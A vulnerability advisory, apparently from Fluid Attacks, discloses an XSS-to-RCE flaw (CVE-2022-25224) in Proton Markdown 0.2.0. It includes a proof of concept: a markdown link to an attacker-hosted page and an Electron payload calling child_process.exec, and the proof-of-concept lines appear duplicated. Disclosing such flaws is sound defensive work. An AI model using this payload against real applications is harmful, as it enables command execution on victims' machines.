Proton 0.2.0 - XSS To RCE

7.1

High

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

Proton 0.2.0 - XSS To RCE

Code name

State

Public

Release date

Affected product

Proton Markdown

Vendor

Steven Hanna

Affected version(s)

0.2.0

Vulnerability name

XSS to RCE

Remotely exploitable

No

CVSS v3.1 vector string

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

CVSS v3.1 base score

7.1

Exploit available

No

Description

Proton v0.2.0 allows an attacker to create a malicious link inside a markdown file. When the victim clicks the link, the application opens the site in the current frame allowing an attacker to host JavaScript code in the malicious link in order to trigger an XSS attack. The nodeIntegration configuration is set to on which allows the webpage to use NodeJs features, an attacker can leverage this to run OS commands.

Proof of Concept

Steps to reproduce

  1. Create a markdown file with the following content.

    [Click me!!!](http://192.168.1.67:8002/rce.html)
    [Click me!!!](http://192.168.1.67:8002/rce.html)
    [Click me!!!](http://192.168.1.67:8002/rce.html)
    [Click me!!!](http://192.168.1.67:8002/rce.html)
  2. Host the rce.html file with the following content on a server controlled by the attacker.

     <script>
     require('child_process').exec('calc');
     </script>
     <script>
     require('child_process').exec('calc');
     </script>
     <script>
     require('child_process').exec('calc');
     </script>
     <script>
     require('child_process').exec('calc');
     </script>
  3. Send the markdown file to the victim. When the victim clicks the markdown link the site will be open inside electron and the JavaScript code will spawn a calculator.

Our security policy

We have reserved the ID CVE-2022-25224 to refer to this issue from now on.

Disclosure policy

System Information

  • Version: Proton v0.2.0.

  • Operating System: Windows 10.0.19042 N/A Build 19042.

  • Installer: Proton.Setup.0.2.0.exe

References

Exploit

There is no exploit for the vulnerability but can be manually exploited.

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.